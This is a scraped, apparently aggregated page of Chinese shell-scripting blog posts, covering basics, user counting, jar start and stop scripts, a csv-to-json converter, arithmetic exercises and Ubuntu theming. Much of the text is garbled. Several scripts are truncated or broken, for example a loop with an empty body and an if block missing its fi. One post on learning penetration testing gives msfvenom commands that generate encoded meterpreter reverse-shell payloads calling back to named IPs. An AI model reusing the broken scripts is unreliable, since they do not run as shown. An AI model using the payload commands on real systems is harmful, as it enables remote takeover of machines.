shell脚本

Shell快速入门

匿名 (未验证) 提交于 2019-12-03 00:30:01
Shell Shell 1.1 linux shell shell linux shell shell .sh .bash Shell + 1.2 第一行,指定哪个程序来执行脚本 #!/bin/bash 或者 #!/bin/sh 注意: # # 第一种方式: Shell Sh xxx.sh Bash xxx.sh shell Chmod +x xxx.sh ./xxx.sh 变量 2.1 字母或者下划线开头 ,不能以数字开头,后面可以接字母,数字,下划线。 2.2 Shell shell shell 2.3 如果要给变量赋空值,可以在等号后面接一个换行符 在控制台打印变量的值 echo $variable ${variable} 清除变量 unset variable 显示所有变量,包括本地变量和环境变量 Set 如何把命令的输出,赋值给一个变量 ` ` A=`` a [ hadoop@huawei shellDemo]$ a=`ls` [ hadoop@huawei shellDemo]$ echo $a demo01.sh helloWorld01.sh helloWorld.sh ls.sh out specailVar01.sh specailVar02.sh specailVar.sh test [ hadoop@huawei shellDemo]$ ls 2.4

shell习题-统计普通用户

匿名 (未验证) 提交于 2019-12-03 00:30:01
1.要求: 写个shell,看看你的Linux系统中是否有自定义用户(普通用户), 若是有,一共有几个? 2.模拟环境: centos7ID范围: 超级用户:0 虚拟用户:1-999(Centos6 1-499) 普通用户:1000-65535(Centos6 500-65535 ) 创建20个普通用户:(原先没有普通用户) [root@liang 2018-06-18]# for i in `seq 20`;do useradd user_${i} ;done 用户密码文件 [root@liang 2018-06-18]# tail -1 /etc/passwd user_20:x:1019:1019::/home/user_20:/bin/bash 3.脚本答案: #!/bin/bash Num=0 user_id=1000 File=/test/user.txt /usr/bin/awk -F ":" '{print $3}' /etc/passwd >> ${File} for id in `cat ${File}` do done echo "The average user num: $Num" > ${File} 4.运行脚本: The average user num: 20 文章来源: shell习题-统计普通用户

后台启动和关闭jar的shell脚本

匿名 (未验证) 提交于 2019-12-03 00:27:02
1.后台启动 startTest.sh #设置工程路径 project_path=/root/test cd $project_path #nohup后台启动,输出日志到test.log nohup java -jar test.jar >test.log & #打印日志 tail -f test.log 文件可执行权 chmod +x startTest.sh 执行 ./startTest.sh 2.根据应用端口关闭服务 stopTest.sh #设置关闭的端口 port=8080 #获取此端口运行的进程 pid=`lsof -t -i:$port` #判断如果进程号不为空则,关闭进程 if test -z "$pid";then echo "test 工程未启动!" else kill -9 $pid echo "test 工程进程$pid 关闭成功!" 文件赋执行权同上 文章来源: 后台启动和关闭jar的shell脚本

穿越边界的姿势

匿名 (未验证) 提交于 2019-12-03 00:26:01
前言 上个学期一直在学审计,前几天ST2漏洞大火,随便打一个就是root权限,我却拿着root权限不知如何继续进行。因为这个,发现了自己对渗透知识的缺失,因此用了两周左右的时间学习补充了一下内网渗透的知识,看了不少大牛的文章,膜拜之余还是做了一些笔记的。到渗透入门结束之余,打算自己整理一下最近学习到的关于渗透的知识,写一篇文章。 回过头看渗透,在机械流程的前提下,什么情况下使用什么工具,做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。 渗透初探 一个概念 正向shell: 攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。 反向shell: 被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。 msf shell 反向shell 正向shell Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=121.196.209.139 LPORT=4444 -f

shell脚本――csv 文件转成能入 elasticsearch 的 json 文件

匿名 (未验证) 提交于 2019-12-03 00:26:01
csv2json.sh #!/bin/bash handle (){ inputFile= $1 outputFile= $2 separator= $3 columnNumStr= $4 columnNameStr= $5 sed -r \ -e 's/[\\\\"\t]//g' \ -e 's/\x00/[NUL]/g' -e 's/\x01/[SOH]/g' -e 's/\x02/[STX]/g' -e 's/\x03/[ETX]/g' \ -e 's/\x04/[EOT]/g' -e 's/\x05/[ENQ]/g' -e 's/\x06/[ACK]/g' -e 's/\x07/[BEL]/g' \ -e 's/\x08/[BS]/g' -e 's/\x0A/[LF]/g' -e 's/\x0B/[VT]/g' -e 's/\x0C/[FF]/g' \ -e 's/\x0D/[CR]/g' -e 's/\x0E/[SO]/g' -e 's/\x0F/[SI]/g' -e 's/\x10/[DLE]/g' \ -e 's/\x11/[DC1]/g' -e 's/\x12/[DC2]/g' -e 's/\x13/[DC3]/g' -e 's/\x14/[DC4]/g' \ -e 's/\x15/[NAK]/g' -e 's/\x16/[SYN]/g' -e 's/\x17/

shell脚本之计算n的阶乘

匿名 (未验证) 提交于 2019-12-03 00:21:02
#!/bin/bash while true do read -p "please input a number to compute jiecheng: " number (($number+0)) >/dev/null if (($? != 0)) then echo "input error,please input again!" continue fi if (($number <= 0)) then echo "input number must bigger than 0!please input again!" continue fi sum=1 for i in `seq 1 $number` do sum=$((sum*i)) done echo "${number}! = $sum" done 文章来源: shell脚本之计算n的阶乘

shell脚本之任意输入n个数,判断最大值,最小值,总和

匿名 (未验证) 提交于 2019-12-03 00:21:02
#!/bin/bash ##任意输入n个数,判断最大值,最小值,总和 sum=0 n=0 read -p "please input the count of number:" count #max=0 #min=0 for i in `seq $count` do read -p "please input the $i number:" temp ((temp+0)) 1>/dev/null 2>&1 if (($? == 0 )) then echo "$temp is a number" else echo "$temp is not a number,please input again" continue fi sum=$((sum+temp)) [ $n -eq 0 ] && max=${temp} && min=${temp} n=$((n+1)) if ((max < temp)) then max=${temp} fi if ((min > temp)) then min=${temp} fi done echo "sum=$sum, max=$max, min=$min" 文章来源: shell脚本之任意输入n个数,判断最大值,最小值,总和

Ubuntu18.04美化主题(mac主题)

匿名 (未验证) 提交于 2019-12-03 00:21:02
前端时间Ubuntu18.04LTS发布,碰巧之前用的Ubuntu16.04出了一点问题,懒得解决,索性就换了Ubuntu18.04。 成果: 参考博客: https://www.cnblogs.com/feipeng8848/p/8970556.html 下面开始进行美化配置: 安装主题工具: sudo apt-get update sudo apt-get install gnome-tweak-tool 安装完成后打开 Tweaks : 修改窗口的按钮位置: 将按钮位置修改到左边: 显示或隐藏桌面上的图标: 去掉shell上无法修改的叹号: 执行命令 sudo apt-get install gnome-shell-extensions 安装完成后打开Tweaks,选择“ Extensions ”选项 将“ User themes ”设置为 ON 开启后去“ Appearances ”选项中,此时shell的感叹号就没了 现在已经完成了工具的安装配置,下面进行主题美化 1. 安装GTK主题 链接: 点击打开链接 点击“Files”标签,点击文件名就可以下载 可以看到里面一共有6个压缩文件,分别包装了各种主题,每一个文件名中有一个“2”,这个“2”的意思是该压缩包下有两个主题。 我选的是 Gnome-OSC-HS--2themes.tar.xz (第一个压缩文件),进行下载

[Shell习题] 常见题系列二

匿名 (未验证) 提交于 2019-12-03 00:19:01
$ cat test2.sh #!/bin/bash function f (){ echo "hello world" } f #函数调用 f #函数连续调用两次 # 输出: hello world hello world $ a= "hello" $ b= "world" $ echo $a $b helloworld $ echo $a $b # $a $b中间有空格 hello world $ c= $a $b $ echo $c helloworld $ d= $a $b #不能有空格 - sh: world: command not found a= 5 b= 6 $ expr $a + $b 11 $ echo $( (a + b)) 11 $ echo $[ a + b] 11 echo $( ( $a + $b )) # echo $( (a+b)),双小括号里面可以不用加 $符 号 echo $[ $a + $b ] # echo $[ a + b],可以不加 $符 号,可以没有空格 $ expr $a + $b 5 + 6 #!/bin/bash if [ -f "/home/qiuxianyin/mytest/test.sh" ] #紧挨着 [ ] 左右有空格,否则报错 then echo "file exists" fi if 参数 [ -f file ]